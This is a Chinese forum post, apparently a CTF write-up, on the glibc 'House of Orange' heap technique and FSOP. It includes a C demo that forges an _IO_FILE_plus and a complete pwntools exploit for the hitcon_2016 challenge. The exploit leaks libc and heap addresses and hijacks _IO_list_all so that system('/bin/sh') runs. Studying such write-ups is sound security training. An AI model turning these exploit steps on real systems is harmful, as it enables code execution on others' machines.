用户
搜索

[二进制安全] House of orange 学习

  • TA的每日心情
    奋斗
    9 小时前
  • 签到天数: 33 天

    连续签到: 31 天

    [LV.5]常住居民I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    2

    主题

    6

    帖子

    464

    魔法币
    收听
    0
    粉丝
    1
    注册时间
    2019-8-20

    i春秋签约作者春秋文阁

    发表于 2020-12-17 00:21:22 215059

    House of orange

    House of orange 涉及到 IO FSOP 利用手法,需要先了解学习,fsop 实战练习题:ciscn_2019_n_7  

    FSOP

    介绍

    进程内所有的 _IO_FILE 结构会使用 _chain 域相互连接形成一个链表,这个链表的头部由 _IO_list_all 维护。

    FSOP 的核心思想就是劫持 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用 _IO_flush_all_lockp,这个函数会刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow。

    int
    _IO_flush_all_lockp (int do_lock)
    {
      ...
      fp = (_IO_FILE *) _IO_list_all;
      while (fp != NULL)
      {
           ...
           if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
                   && _IO_OVERFLOW (fp, EOF) == EOF)
               {
                   result = EOF;
              }
            ...
      }
    }

    img

    而 _IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

    1. 当 libc 执行 abort 流程时

    2. 当执行 exit 函数时

      image-20201208195441734

    3. 当执行流从 main 函数返回时

    原理示例

    FSOP 利用的条件:泄露 libc.so 基址,因为 _IO_list_all 是作为全局变量储存在 libc.so 中的;用任意地址写把 _IO_list_all 改为指向可控内存的地址;伪造 _IO_FILE_plus 结构体。伪造结构体需要 bypass 这些 check :

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
                   && _IO_OVERFLOW (fp, EOF) == EOF)
               {
                   result = EOF;
              }

    也就是

    • fp->_mode <= 0
    • fp->_IO_write_ptr > fp->_IO_write_base

    写一个 demo 验证一下:首先分配一块内存用于存放伪造 _IO_FILE_plus(_IO_FILE、vtable)。_IO_write_ptr、_IO_write_base、_mode 等数据偏移如下(可以通过查前面给出结构体算出来):

    #define _IO_list_all 0x7ffff7dd2520
    #define writebase_offset 0x20
    #define writeptr_offset 0x28
    #define mode_offset 0xc0
    #define vtable_offset 0xd8
    
    int main(void)
    {
        void *ptr;
        long long *list_all_ptr;
        ptr=malloc(0x200);
            //bypass
        *(long long*)((long long)ptr+mode_offset)=0x0;
        *(long long*)((long long)ptr+writeptr_offset)=0x1;
        *(long long*)((long long)ptr+writebase_offset)=0x0;
        *(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
            //vtable _IO_overflow
        *(long long*)((long long)ptr+0x100+24)=0x41414141;
            //orw _IO_list_all _chain 2 fake _IO_FILE_plus
        list_all_ptr=(long long *)_IO_list_all;
        list_all_ptr[0]=ptr;
        exit(0);
    }

    前 0x100 个字节作为 _IO_FILE ,后 0x100 个字节作为 vtable ,在 vtable _IO_overflow 指针劫持为 0x41414141 。

    之后,覆盖 libc 中的全局变量 _IO_list_all 指向伪造的 _IO_FILE_plus 。

    全局变量 _IO_list_all 存储着结构体 _IO_FILE_plus 的地址,这个地址也是 _IO_FILE 所在地址,后面是 vtable

    通过调用 exit 函数,程序会执行 _IO_flush_all_lockp,经过 fflush[^1] 获取 _IO_list_all 的值并取出作为 _IO_FILE_plus 调用其中的 _IO_overflow 函数实现功能:

    ---> call _IO_overflow
    [#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
    [#1] 0x7ffff7a8932a → Name: _IO_cleanup()
    [#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
    [#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
    [#4] 0x4005ce → Name: main()

    概述

    house of orange 特殊之处是题目没有 free 函数等释放堆块函数。house of orange 核心思想通过漏洞实现 free 的效果。

    使用条件

    • 能控制 topchunk size 位(堆溢出等)
    • 能控制堆分配的大小

    原理

    当 topchunk 不能满足申请分配的大小时,topchunk 被释放进 unsortedbin ,实现没有 free 函数释放堆块。

    扩展堆空间有 mmapbrk 两种方式,我们需要以 brk 拓展,需要绕过 libc 一些 check :malloc 申请大小不能大于 mmp_.mmap_threshold

    if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

    总结伪造 topchunk 要求:

    • 伪造 size 需要对齐内存页

      比如现在 topchunk size 为:0x20fa1,那么对齐内存页的 size 可以为:0xfa1、0x1fa1……

    • size 要大于 MINSIZE

    • prev_inuse 为 1

    • size 要小于等等申请 chunk_size+MINISIZE (才能让 topchunk 放入 unsortedbin)

    自此得到一个 unsortedbin 堆,用来泄露 libc 地址,实现 FSOP

    例题:hitcon_2016_houseoforange

    基本情况

    保护全开,实验环境在 Ubuntu16.04。

    能自主控制分配堆大小,结构体如下:

    struct{
      *info;
      chunk_ptr;
    }
    struct info{
      price;
      color;
    }

    在 edit 函数中存在堆溢出:

    image-20201216230021762

    思路

    利用堆溢出将 topchunk size 改小,size 要求看前文。修改前 topchunk 和 heap 范围:

    image-20201216231726321

    修改后情况:

    image-20201216231929179

    之后申请一个大于 topchunk 的堆,topchunk 就被放入 unsortedbin :

    pwndbg> bin
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x0
    0x80: 0x0
    unsortedbin
    all: 0x5555557580a0 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x5555557580a0

    申请一个 largebin 用于泄露 libc 和 堆地址。用的 malloc 分配,libc 读取 bk 位置信息即可,分配的是 largebin 在 fd_nextsize 和 bk_nextsize 都存放堆地址分别读出即可。堆地址在 FSOP 伪造 vtable 需要用到。

    自此后面就是 FSOP 利用。劫持在 libc 中的 _IO_list_all 内容,将其内容指向可控地址伪造 _IO_FILE_plus 和 vtabel 。默认状态下的 _IO_listall 指向的是 _IO_2_1_stderr\

    image-20201216232610931

    利用堆溢出修改在 unsortedbin 的 topchunk fd bk 指针,发起 unsortedbin attack 劫持 _IO_list_all 。这里修改完 fd bk 之后申请一个堆,topchunk unlink 就会修改 _IO_list_all 指向到 main_arena+88 ,这个区域前后我们还是不能控制,就利用 _chain 标志位指向下一个文件流,这个标志位的位置刚好是 unsortedbin 0x60 链表位置。因此将 topchunk size 覆盖为 0x60 :

    image-20201216234838174

    执行 _IO_flush_all_lockp 时逐个遍历文件流,遇到错误文件就跳过去处理 _chain 指向的下一个文件流,因此现在 topchunk 里面伪造一个 _IO_FILE_plus 结构体。

    需要设置几个标志位绕过保护:

    mode_offset=0x0;
    writeptr_offset=0x1;
    writebase_offset=0x0;

    然后将 vtable 指针劫持会 topchunk 特定位置,让 __overflow 为 system ,文件流(topchunk)头部覆盖为 /bin/sh 作为参数传入。

    成功结构体如下:

    image-20201217000607071

    image-20201217000644542

    EXP

    from pwn import *
    context(log_level='debug',arch='amd64')
    
    # p = process("./houseoforange_hitcon_2016")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("node3.buuoj.cn",29595)
    libc = ELF("./libc-2.23.so")
    elf = ELF("./houseoforange_hitcon_2016")
    
    def command(id):
        p.recvuntil(": ")
        p.sendline(str(id))
    
    def add(size, content, price, color):
        command(1)
        p.recvuntil("Length of name :")
        p.sendline(str(size))
        p.recvuntil("Name :")
        p.send(content)
        p.recvuntil("Price of Orange:")
        p.sendline(str(price))
        p.recvuntil("Color of Orange:") 
        p.sendline(str(color))
    
    def show():
        command(2)
    
    def edit(size, content, price, color):
        command(3)
        p.recvuntil("Length of name :")
        p.sendline(str(size))
        p.recvuntil("Name:")
        p.send(content)
        p.recvuntil("Price of Orange:")
        p.sendline(str(price))
        p.recvuntil("Color of Orange:")
        p.sendline(str(color))
    
    # step1 'free' 2 bin
    add(0x18,'a'*8,0xddaa,0xddaa)
    payload='a'*0x38+p64(0xfa1)
    edit(len(payload),payload,0xddaa,0xddaa)
    add(0x1000,'b'*8,0xddaa,0xddaa)
    #0x555555758000     0x555555779000 rw-p    21000 0      [heap]
    #0x555555758000     0x55555579b000 rw-p    43000 0      [heap]
    
    # step2 leak libc
    add(0x450,'c'*8,0xddaa,0xddaa)
    show()
    p.recvuntil('c'*8)
    leak_addr = u64(p.recv(6).ljust(8,'\x00'))
    log.info("leak_addr:"+hex(leak_addr))
    libc_addr = leak_addr-1640-0x3c4b20
    log.info("libc_addr:"+hex(libc_addr))
    IO_list_all=libc_addr+libc.sym['_IO_list_all']
    log.info("IO_list_all:"+hex(IO_list_all))
    system=libc_addr+libc.sym['system']
    
    # step3 leak heap
    payload = 'd' * 0x10
    edit(0x10, payload,0xddaa,0xddaa)
    show()
    p.recvuntil('d'*0x10)
    heap_addr = u64(p.recv(6).ljust(8,'\x00'))
    log.info("heap_addr:"+hex(heap_addr))
    
    # set fake struct
    payload='d'*0x450+p64(0)+p64(0x21)+p64(0x0000ddaa00000003)+p64(0)
    fake = '/bin/sh\x00'+p64(0x61)
    fake += p64(0)+p64(IO_list_all-0x10)
    fake += p64(0) + p64(1)
    fake = fake.ljust(0xc0,'\x00')
    fake += p64(0) * 3
    fake += p64(heap_addr+0x558) #vtable
    fake += p64(0) * 2
    fake += p64(system)
    payload += fake
    edit(len(payload),payload,2,3)
    
    #gdb.attach(p)
    
    # unlink attack
    p.recvuntil("Your choice : ")
    p.sendline('1')
    
    p.interactive()

    评分

    参与人数 1魔法币 +20 收起 理由
    kawhi + 20

    查看全部评分

    发表于 2020-12-17 23:04:20
    师傅太强惹
    使用道具 举报 回复
    发表于 2020-12-23 11:42:04
    学习了!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册